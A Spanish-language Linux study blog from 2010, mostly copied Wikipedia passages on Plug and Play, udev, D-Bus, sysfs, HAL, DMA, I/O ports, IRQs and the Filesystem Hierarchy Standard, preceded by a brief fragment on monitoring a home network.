  • Un hogar donde los niños pequeños navegan por internet y queremos saber a que sitios están entrando nuestros hijos y/o que uso de la red están haciendo. Pues podríamos ver si usan un programa de mensajería instantánea, si entran en chats, foros o redes sociales, etc.
  • También podríamos ver si alguien que no pertenece a nuestra red esta haciendo uso de la misma.

jueves, 14 de enero de 2010

Plug-and-play

Plug and Play se refiere a la capacidad de configurar automáticamente un dispositivo al conectarlo, ya es un estándar para añadir hardware, de modo que puedas comprarlo, llevártelo a casa, enchufarlo, y utilizarlo.
/////////////////////////
fuente: http://es.wikipedia.org/wiki/Plug-and-play
Es la tecnología que permite a un dispositivo informático ser conectado a un ordenador sin tener que configurar mediante jumpers. Para que sea posible el sistema operativos debe dar soporte al dispositivo. No se debe confundir con HotPlug que es la capacidad de un periférico para ser conectado o desconectado cuando el ordenador está encendido. Plug an Play tampoco indica que no sea necesario instalarse controladores para el correcto funcionamiento de el dispositivo y no debería entenderse como que no se necesita controladores.

martes, 12 de enero de 2010

udev

fuente: http://es.wikipedia.org/wiki/Udev
udev es el gestor de dispositivos que usa el kernel Linux en su versión 2.6. Su función es controlar los ficheros de dispositivo en /dev. Es el sucesor de devfs y de hotplug, lo que significa que maneja el directorio /dev y todas las acciones del espacio de usuario al agregar o quitar dispositivos, incluyendo la carga de firmwares.
///////////////////////////////////////////////////////////////////////////////////

El servicio udev sirve para mejorar el uso del directorio /dev (que contiene los archivos que son nodos de dispositivos en general) y para manejar el comportamiento del sistema frente a eventos relacionados con dispositivos de bloque, red, usb, etc. También se basa en la información que extrae del directorio /sys para trabajar. El archivo de configuración principal esta en /etc/udev/.

D-Bus (Desktop Bus)

fuente: http://es.wikipedia.org/wiki/D-Bus
En informatica, D-Bus (Desktop Bus) es un sistema de comunicación entre procesos (IPC), para aplicaciones de software con el fin de comunicarse entre sí. D-Bus es desarrollado como parte del proyecto freedesktop.org.

D-Bus es un mecanismo de comunicación entre procesos (IPC) consistente en tres capas:
Una biblioteca, libdbus, que permite a dos aplicaciones conectarse e intercambiar mensajes.
Un demonio ejecutable que funciona como bus de mensajes, construido sobre libdbus, al cual pueden conectarse varias aplicaciones. El demonio puede encaminar mensajes desde una aplicación a ninguna o más aplicaciones.
Bibliotecas adaptadas (wrappers en inglés) para su uso en frameworks concretos.
Los dos principales puntos de uso de D-Bus son los siguientes:
Comunicación entre aplicaciones de escritorio en la misma sesión, facilitando la integración de aplicaciones dentro de un mismo entorno de escritorio y el tratamiento de asuntos relativos al ciclo de vida de procesos.
Comunicación entre el sistema operativo y la sesión de escritorio, incluyendo dentro del sistema operativo al núcleo y algunos demonios o procesos.
[editar]Funcionamiento de D-Bus

Toda aplicación que utilice D-Bus contiene objetos, normalmente definidos (aunque no es necesario) como GObject, QObject, objetos C++ u objetos Python. Cuando se recibe un mensaje a través de una conexión D-Bus, este se envía a un objeto específico, no globalmente a la aplicación. De esta forma, D-Bus se apoya en componentes software, y de cara al usuario parece como si un objeto fuera serializado a través de la conexión IPC, sin importar si existe o no un objeto al otro lado de la comunicación.
Para permitir la especificación de destino a los mensajes, debe existir un medio para indicar esa referencia. En muchos lenguajes de programación, esto recibe el nombre de puntero o referencia. Sin embargo, estas referencias se implementan como direcciones de memoria relativas al espacio de direcciones de la aplicación, lo cual no puede intercambiarse de una aplicación a otra.
Para resolver esto, D-Bus introduce un nombre para cada objeto. Dicho nombre se muestra como una ruta del sistema de ficheros. Por ejemplo, un objeto podría llamarse /org/kde/kspread/sheets/3/cells/4/5. Resulta aconsejable utilizar rutas fácilmente inteligibles por humanos, si bien los desarrolladores son libres de crear objetos con nombres como /com/mycompany/c5yo817y0c1y1c5b si así lo desean.
Los nombres de objetos D-Bus se aglutinan en espacios de nombres para asegurar que módulos distintos de código se mantengan separados. Los espacios de nombres generalmente están prefijados en función de los componentes utilizados por los propios programadores (por ejemplo, /org/kde).

Sysfs

fuente: http://es.wikipedia.org/wiki/Sysfs

Sysfs es un sistema de archivos virtual que proporciona el núcleo Linux v2.6. Sysfs exporta información sobre los dispositivos y sus controladores desde el modelo de dispositivos del núcleo hacia el espacio del usuario, también permite configurar parámetros.

Para cada objeto añadido en el árbol del modelo de controladores (controladores, dispositivos incluyendo clases) se crea un directorio en sysfs. La relación padre/hijo se refleja con subdirectorios bajo /sys/devices/ (reflejando la capa física). El subdirectorio /sys/bus se puebla con enlaces simbólicos, reflejando el modo en el que los dispositivos pertenecen a diferentes buses. /sys/class muestra dispositivos agrupados de acuerdo a su clase, como por ejemplo red, mientras que /sys/block/ contiene los dispositivos de bloques.

Para los controladores de dispositivos y los dispositivos, se pueden crear atributos. Los atributos son simples ficheros. Se estipula que sólo deben contener un valor o permitir que un sólo valor se fije (a diferencia de algunos ficheros en /procfs, que necesitan un análisis intenso). Estos ficheros están incluidos en el subdirectorio del controlador correspondiente al dispositivo. Es posible crear subdirectorios con atributos para agruparlos.

La capa de abstracción de hardware o HAL

fuente: http://es.wikipedia.org/wiki/HAL_%28software%29
La capa de abstracción de hardware o HAL (acrónimo del inglés de hardware abstraction layer)
La capa de abstracción de hardware o HAL (acrónimo del inglés de hardware abstraction layer) es un elemento del sistema operativo que funciona como una interfaz entre el software y el hardware del sistema, proveyendo una plataforma de hardware consistente sobre la cual correr las aplicaciones. Cuando se emplea una HAL, las aplicaciones no acceden directamente al hardware sino que lo hacen a la capa abstracta provista por la HAL. Del mismo modo que las API, las HAL permiten que las aplicaciones sean independientes del hardware porque abstraen información acerca de tales sistemas, como lo son las cachés, los buses de E/S y las interrupciones, y usan estos datos para darle al software una forma de interactuar con los requerimientos específicos del hardware sobre el que deba correr. El sistema operativo NT tiene un HAL que permite la portabilidad del código de modo kernel de Windows NT a una variedad de procesadores con distintas arquitecturas de administración de memoria, y una variedad de sistemas con diferentes arquitecturas de bus E/S. La mayor parte de este código se ejecuta sin cambio en estos sistemas. Sistemas operativos como BSD, Mac OS X, GNU/Linux, CP/M, DOS, Solaris y otros tienen también una HAL, aunque no siempre esté específicamente designada de tal forma. Las HAL son de un nivel incluso inferior en lenguajes de programación que las interfaces de aplicación de programas (API), porque interactúan directamente con el hardware en vez de con el sistema kernel, por lo que requieren menos tiempo de procesamiento que las APIs. Los lenguajes de alto nivel suelen usar HALs o APIs para comunicarse con componentes de menor nivel.

Con HAL, toda la información sobre ciertas clases de hardware es accesible en un único formato. Cuando un nuevo dispositivo es añadido al sistema, una señal asíncrona es situada en el bus del sistema de mensajes detallando el tipo de dispositivo que ha sido añadido. Scripts del sistema pueden configurar el dispositivo, es decir, HAL soporta dispositivos plug and play.

Aunque los sistemas operativos basados en GNU/Linux tienen compatibilidad de hardware para un amplio rango de dispositivos, no siempre funcionaban automáticamente; esto cambió con la introducción del HAL. Tradicionalmente los usuarios tenían que buscar en Internet y escribir líneas de comandos para que su hardware funcionase, lo que resultaba muy tedioso y podía confundir. La capa HAL provee a las aplicaciones de una forma sencilla para reconocer hardware en el sistema. Antes las aplicaciones de escritorio descubrían el hardware “hablando” directamente con el kernel, ya que éste mantiene una lista de dispositivos conectados al sistema. Este proceso no siempre funcionaba correctamente. Con HAL toda la información sobre ciertas clases de hardware es fácilmente accesible en un formato bien definido. Cuando un dispositivo nuevo es conectado al sistema se envía una señal asíncrona al bus de mensajes del sistema detallando qué tipo de dispositivo se ha añadido. Cualquier aplicación de escritorio se puede conectar al bus de mensajes para descubrir hardware. Internamente, el daemon HAL mantiene una lista de objetos directorio que contiene pares de clave/valor bien definidas que describen lo que el objeto representa. Cada dispositivo es identificado por un Identificador Único de Dispositivo (Unique Device Identifier, UDI). Los pares de clave/valor, llamados propiedades del dispositivo, están definidos en la especificación del HAL.

Una vez que el daemon HAL ha recogido toda la información sobre un dispositivo, incluyendo la fusión de información de los archivos de información sobre dispositivos, ya está listo para anunciar la presencia del nuevo objeto dispositivo.

Llamadas o callouts

Justo antes del anuncio de la presencia de un dispositivo pueden ejecutarse programas específicos del SO para configurar el sistema operativo de base. Por ejemplo, para que un usuario sin privilegios monte un sistema de archivos hay que escribir una línea en la tabla de archivos del sistema /etc/fstab. En HAL esto se consigue gracias a una llamada (callout). Cualquier programa en la carpeta /etc/hal/device.d/ es ejecutado cuando un dispositivo es añadido o extraído. Esto es lo mismo que un programa fstab-sync. El objetivo de este programa es el de modificar /etc/fstab cuando un sistema de archivos montable en un dispositivo de almacenamiento es añadido en o extraído del sistema.

Por ejemplo, para un lector Compact Flash fstab-sync añadiría la siguiente línea:

/dev/sda1 /media/CANON_DC vfat pamconsole,noatime,sync,fscontext=system_u:object_r:removable_t,exec,noauto,managed 0 0

La opción pamconsole especifica que cualquier usuario (sin privilegios) puede montar el sistema. La opción managed especifica que la línea fue añadida por un programa y no por el administrador del sistema. Esta opción es útil si el administrador ya ha añadido una entrada por lo que fstab-sync rehúsa añadir una entrada. Con esto fstab-sync crearía el punto de montaje /media/mi_dispositivo y añadiría la entrada en el archivo /etc/fstab.

Una vez se han completado todas las llamadas el daemon HAL anuncia la presencia del objeto dispositivo en el bus de mensajes del sistema. Programas como el GNOME Volume Manager en Fedora permiten al usuario retocar las especificaciones para los distintos dispositivos.

Una característica interesante del HAL son sus propiedades persistentes, que se aseguran de que las propiedades de un dispositivo se guardan para cuando el dispositivo se vuelve a enchufar.

HAL no frena el acceso al hardware, simplemente es una pieza del software que mantiene una lista de dispositivos con propiedades bien definidas para cada uno. Además, el HAL provee de espacio para las propiedades de aplicación definidas para estos dispositivos.


Direcciones DMA

fuente: http://es.wikipedia.org/wiki/Acceso_directo_a_memoria
Direct memory access
Permite a cierto tipo de componentes de ordenador acceder a la memoria del sistema para leer o escribir independientemente de la CPU principal. Muchos sistemas hardware utilizan DMA, incluyendo controladores de unidades de disco, tarjetas gráficas y tarjetas de sonido. DMA es una característica esencial en todos los ordenadores modernos, ya que permite a dispositivos de diferentes velocidades comunicarse sin someter a la CPU a una carga masiva de interrupciones.

Una transferencia DMA consiste principalmente en copiar un bloque de memoria de un dispositivo a otro. En lugar de que la CPU inicie la transferencia, la transferencia se lleva a cabo por el controlador DMA. Un ejemplo típico es mover un bloque de memoria desde una memoria externa a una interna más rápida. Tal operación no ocupa el procesador y como resultado puede ser planificado para efectuar otras tareas. Las transferencias DMA son esenciales para aumentar el rendimiento de aplicaciones que requieran muchos recursos.

Cabe destacar que aunque no se necesite a la CPU para la transacción de datos, sí que se necesita el bus del sistema (tanto bus de datos como bus de direcciones), por lo que existen diferentes estrategias para regular su uso, permitiendo así que no quede totalmente acaparado por el controlador DMA.

Para saber qué canales DMA esta en uso por sistema, examine el archivo /proc/dma

Las direcciones de I/O

Las direcciones de I/O (también conocido como puertos Entrada/Salida) son lugares únicos en la memoria que están reservados para las comunicaciones entre la CPU y dispositivos específicos de hardware. Como las IRQ, las direcciones I/O se asocian comúnmente condispositivos específicos y normalmente no se comparten.
Desde el S.O. Linux se puede explorar qué direcciones I/O están siendo utilizados, examinando el contenido del archivo /proc/ioports.

IRQs

Fuente: http://es.wikipedia.org/wiki/Interrupci%C3%B3n
Interrupción hardware o petición de interrupción
Es una señal recibida por el procesador de un ordenador, indicando que debe "interrumpir" el curso de ejecución actual y pasar a ejecutar código específico para tratar esta situación.

Una interrupción supone la ejecución temporaria de un programa, para pasar a ejecutar una "subrutina de servicio de interrupción", que pertenece al BIOS (Basic Input Output System).

Las interrupciones surgen de las necesidades que tienen los dispositivos periféricos de enviar información al procesador principal de un sistema de computación. La primera técnica que se empleó fue que el propio procesador se encargara de sondear (polling) el dispositivo cada cierto tiempo para averiguar si tenía pendiente alguna comunicación para él. Este método presentaba el inconveniente de ser muy ineficiente, ya que el procesador constantemente consumía tiempo en realizar todas las instrucciones de sondeo.

El mecanismo de interrupciones fue la solución que permitió al procesador desentenderse de esta problemática, y delegar en el dispositivo la responsabilidad de comunicarse con el procesador cuando lo necesitaba. El procesador, en este caso, no sondea a ningún dispositivo, sino que queda a la espera de que estos le avisen (le "interrumpan") cuando tengan algo que comunicarle (ya sea un evento, una transferencia de información, una condición de error, etc.).

Un ordenador PC típico dispone en su placa base de un controlador de interrupciones 8259 de Intel o de un circuito integrado análogo. Este dispositivo electrónico dispone de hasta 16 líneas IRQ, numeradas desde el 00 hasta el 15. En las nuevas placas base este circuito está integrado junto con el resto del chipset y permite hasta 24 interrupciones.

////////////////////////////////////////////////////////////////
0 System timer Reserved for internal use.

1 Keyboard Reserved for keyboard use only.

2 Cascade for IRQs 8–15 The original x86 IRQ-handling circuit can manage just 8 IRQs; 2 are tied together to handle 16 IRQs, but IRQ 2 must be used to handle IRQs 8–15.

3 Second RS-232 serial port ( COM2: in Windows) May also be shared by a fourth RS-232 serial port.

4 First RS-232 serial port ( COM1: in Windows) May also be shared by a third RS-232 serial port.

5 Sound card or second parallel port (LPT2: in Windows)

6 Floppy disk controller Reserved for the first floppy disk controller.

7 First parallel port (LPT1: in Windows)

8 Real-time clock Reserved for system clock use only.
9 Open interrupt
10 Open interrupt
11 Open interrupt
12 PS/2 mouse
13 Math coprocessor Reserved for internal use.
14 Primary ATA controller The controller for ATA devices such as hard drives; typically /dev/hda and /dev/hdb under Linux.
15 Secondary ATA controller The controller for more ATA devices; typically /dev/hdc and /dev/hdd under Linux.

Una vez que un sistema Linux se está ejecutando, se puede explorar examinando el contenido del archivo /proc/interrupts .

lunes, 11 de enero de 2010

Filesystem Hierarchy Standard

fuente: http://es.wikipedia.org/wiki/Filesystem_Hierarchy_Standard
Es una norma que define los directorios principales y sus contenidos en el sistema operativo GNU/Linux y otros sistemas de la familia Unix. Se diseñó originalmente en 1994 para estandarizar el sistema de archivos de las distribuciones de Linux, basándose en la tradicional organización de directorios de los sistemas Unix. En 1995 se amplió el ámbito del estándar a cualquier Unix que se adhiriese voluntariamente.

Directorio Descripción Simple
/ Jerarquía primaria, la raíz o root, y directorio raíz del sistema de jerarquía completo.
/bin/ Comandos y programas binarios esenciales necesarios para que estén disponibles para una sesión de usuario único, o para todos los usuarios (multiusuario), por ejemplo, cat, ls, cp, rm, mkdir, etc.).
/boot/ Archivos cargadores de arranque (por ejemplo, los núcleos, el initrd). A menudo en una partición separada.
/dev/ Contiene los Dispositivos esenciales (por ejemplo, /dev/null), incluso los que no se les ha asignado (montado) un directorio. Contiene también dispositivos que no sirven de almacenamiento (p.e. terminales de sonido y vídeo, micrófonos, impresoras, etc).
/etc/ Contiene archivos de configuración del sistema específicos del Host de todo el sistema. El nombre proviene de "etcétera".
/etc/opt/
Archivos de configuración para los programas alojados dentro del directorio /opt.
/etc/X11/
Archivos de configuración para el X Window System, versión 11.
/etc/sgml/
Archivos de configuración para SGML.
/etc/xml/
Archivos de configuración para XML.
/home/ Contiene los directorios de los usuarios, home de los usuarios, excepto del superusuario administrador (root); contiene archivos guardados, ajustes personales, etc. Ofrece. A menudo en una partición separada.

Si existe más de un usuario de un computador ordenador o servidor, por ejemplo los usuarios usuario1 y usuario2, estos poseerían los directorios /home/usuario1 y /home/usuario2, respectivamente.

/lib/ Contiene todas las bibliotecas (mal traducidas como librerías) esenciales compartidas de los programas alojados, es decir, para los binarios en /bin/ y /sbin/. Contiene también las bibliotecas para el núcleo.
/media/ Contiene los puntos de montaje de los medios extraíbles de almacenamiento, tales como lectores de CD-ROM (aparecido en la versión 2.3 de FHS), Pendrives (memoria USB), e incluso sirve para montar otras particiones del mismo disco duro, por ejemplo alguna partición desde otro sistema operativo.
/mnt/ Sistema de archivos montados temporalmente. Es una directorio semejante a /media, pero es usado mayoritariamente por los usuarios. Sirve para montar discos duros y particiones de forma temporal en el sistema.
/opt/ Contiene Paquetes de programas opcionales de aplicaciones estáticas, es decir, que pueden ser compartidas por los usuarios. Estas aplicaciones, utilizan el directorio de usuario para guardas sus configuraciones, y de esta forma, cada usuario puede tener una configuración diferente, de la misma aplicación.
/proc/ Contiene principalmente archivos de texto, sistema de archivos virtuales que documentan al núcleo y el estado de los procesos como archivos de texto (por ejemplo, uptime, network).
/root/ Directorio raíz del usuario root.
/sbin/ Sistema de binarios esencial, comandos y programas exclusivos del superusuario (root), por ejemplo, init, route, ifup).
/srv/ Lugar específico de datos, los cuales son servidos por el sistema.
/tmp/ Archivos temporales (véase también /var/tmp).
/usr/ jerarquía secundaria de los datos de usuario; contiene la mayoría de las utilidades y aplicaciones multiusuario. En otras palabras, contiene los archivos compartidos de sólo lectura. Este directorio puede incluso se compartido con otras computadoras.
/usr/bin/
Comandos binarios no esenciales (no necesarios en el modo de usuario único); para todos los usuarios.
/usr/include/
Archivos de cabecera (Header files o Include files), es decir, archivos de inclusión estándar
/usr/lib/
bibliotecas compartidas de los binarios en /usr/bin/ y /usr/sbin/.
/usr/sbin/
Sistema de binarios no esencial (por ejemplo demonios para varios servicios de red).
/usr/share/
Arquitectura independiente, compartida de datos. En otras palabras, contiene los datos compartidos que no dependen de la arquitectura del sistema. Esto puede incluir imágenes, sonidos, etc., para la disponibilidad en el sistema.
/usr/src/
Códigos fuente, por ejemplo, el código fuente (es decir, programas y bibliotecas sin compilar) del núcleo con sus archivos de cabecera, (Header files o Include files).
/usr/X11R6/
Sistema X Window System, Versión 11, Release 6.
/usr/local/
Jerarquía terciaria para los datos locales, específicos a este host. Usualmente tiene subdirectorios, por ejemplo bin/, lib/, share/, de datos compartidos de sólo lectura específicos del ordenador o servidor que los comparte.
/var/ Archivos variables, tales como logs, archivos spool, bases de datos, archivos de e-mail temporales, y archivos temporales en general.
/var/cache/
Caché de las aplicaciones.
/var/crash/
Se depositan datos e información, referentes a las caídas o errores del sistema operativo.
/var/games/
Datos variables de los juegos del sistema. Este directorio no es imprescindible.
/var/lock/
Archivos Lock. Archivos que hacen el seguimiento de los recursos que se utilizan actualmente.
/var/log/
Archivos de registro, Log. Varios registros, logs.
/var/mail/
Buzón correos o mensajes de los usuarios.
/var/opt/
Posee los datos variables de /opt.
/var/run/
Información acerca del funcionamiento del sistema desde el último arranque. Por ejemplo, los usuarios actualmente registrados o logueados, que han ingresado; y los demonios que están corriendo.
/var/spool/
Bobinas o carretes (Spool), de tareas a la espera de ser procesados (por ejemplo, colas de impresión y correo no leído).
/var/spool/mail/
Ubicación de los correos de usuario desaprobados.
/var/tmp/
Archivos temporales que, a diferencia de /tmp, no se borran entre sesiones o reinicios del sistema.